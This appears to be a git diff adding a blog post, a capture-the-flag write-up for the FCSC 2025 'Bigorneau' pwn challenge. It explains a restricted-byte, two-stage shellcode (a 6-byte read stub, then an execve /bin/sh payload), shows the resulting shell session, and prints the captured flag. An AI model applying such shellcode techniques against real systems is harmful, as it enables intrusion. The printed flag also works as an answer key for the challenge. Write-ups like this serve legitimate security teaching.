|
| 1 | +--- |
| 2 | +author: micronoyau |
| 3 | +layout: post |
| 4 | +date: 2025-04-27 22:00:00 +0200 |
| 5 | +tags: pwn fcsc shellcode |
| 6 | +title: "Bigorneau" |
| 7 | +excerpt_separator: <!--more--> |
| 8 | +--- |
| 9 | + |
| 10 | +This challenge is the 3rd most solved pwn challenge at the 2025 edition of the FCSC. We are provided a few resources: |
| 11 | + - an address and a port to connect to |
| 12 | + - the binary (`x86_64` architecture) |
| 13 | + - the source code of the binary |
| 14 | + - a python script that is run on the server |
| 15 | + |
| 16 | +## First steps |
| 17 | + |
| 18 | +### Playing with the service |
| 19 | + |
| 20 | +``` |
| 21 | +➜ 03-bigorneau nc chal.fcsc.fr 2102 |
| 22 | +Enter your shellcode (hex, at most 128 bytes): |
| 23 | +1203980aaaaaa |
| 24 | +Please check your inputs. |
| 25 | +^C |
| 26 | +``` |
| 27 | + |
| 28 | +### Analyzing the source code |
| 29 | + |
| 30 | +#### `bigorneau.py` |
| 31 | + |
| 32 | +This script: |
| 33 | + - converts the hex input as bytes |
| 34 | + - checks that there are at most 6 different bytes and less that 0x80 bytes in total |
| 35 | + - inserts some instructions to clear the registers beforehand |
| 36 | + - writes the resulting bytes to a temporary file |
| 37 | + - calls the program with the path to this temporary file as its first argument |
| 38 | + |
| 39 | +#### `bigorneau.c` |
| 40 | + |
| 41 | +The program simply reads the shellcode found at the path of the first argument on the stack, and jumps to it. Since the program is compiled with no NX bit protection on stack, this is fine. |
| 42 | + |
| 43 | +## Solving |
| 44 | + |
| 45 | +### Strategy |
| 46 | + |
| 47 | +In summary, we need to find an `x86_64` shellcode with at most 6 different bytes. |
| 48 | + |
| 49 | +In order to do this, I proceeded in two steps: |
| 50 | + - a first stage shellcode simply reads from user input on the stack (`read(<stack>, 0, <size>)`) |
| 51 | + - the second stage shellcode (a simple `execve("/bin/sh", NULL, NULL)` padded with NOPS at the beginning) can then be sent to overwrite the current instructions |
| 52 | + |
| 53 | + The real challenge here is to write the first stage shellcode. Hopefully for us, all registers are cleared beforehand (thanks to the script), so `rdi` (the input fd) and `rax` (the syscall number) are already zero (`stdin` fd and `read` syscall number). |
| 54 | + |
| 55 | + Now, let's see what is left to do: |
| 56 | + - somehow move `rsp` to `rsi` -> push/pop instructions are only 1 byte long |
| 57 | + - set `rdx` to a large enough value to allow for the shellcode -> `dl` is enough |
| 58 | + - do a syscall -> 2 bytes |
| 59 | + |
| 60 | +Here is the resulting shellcode: |
| 61 | + |
| 62 | +``` |
| 63 | +0x00000000 54 push rsp |
| 64 | +0x00000001 5e pop rsi |
| 65 | +0x00000002 b2f0 mov dl, 0xf0 |
| 66 | +0x00000004 0f05 syscall |
| 67 | +``` |
| 68 | + |
| 69 | +## Result |
| 70 | + |
| 71 | +``` |
| 72 | +➜ 03-bigorneau python expl.py |
| 73 | +[+] Opening connection to chal.fcsc.fr on port 2102: Done |
| 74 | +[*] Switching to interactive mode |
| 75 | +Enter your shellcode (hex, at most 128 bytes): |
| 76 | +$ ls |
| 77 | +bigorneau |
| 78 | +bigorneau.py |
| 79 | +flag.txt |
| 80 | +$ cat flag.txt |
| 81 | +FCSC{619c629f9dd846fe8f1db9f23693707b7a334ab7da1507dc904b9d5c3fc2a15c} |
| 82 | +$ |
| 83 | +``` |
| 84 | + |
| 85 | +For full code, please visit https://github.com/micronoyau/FCSC-2025/tree/master |
0 commit comments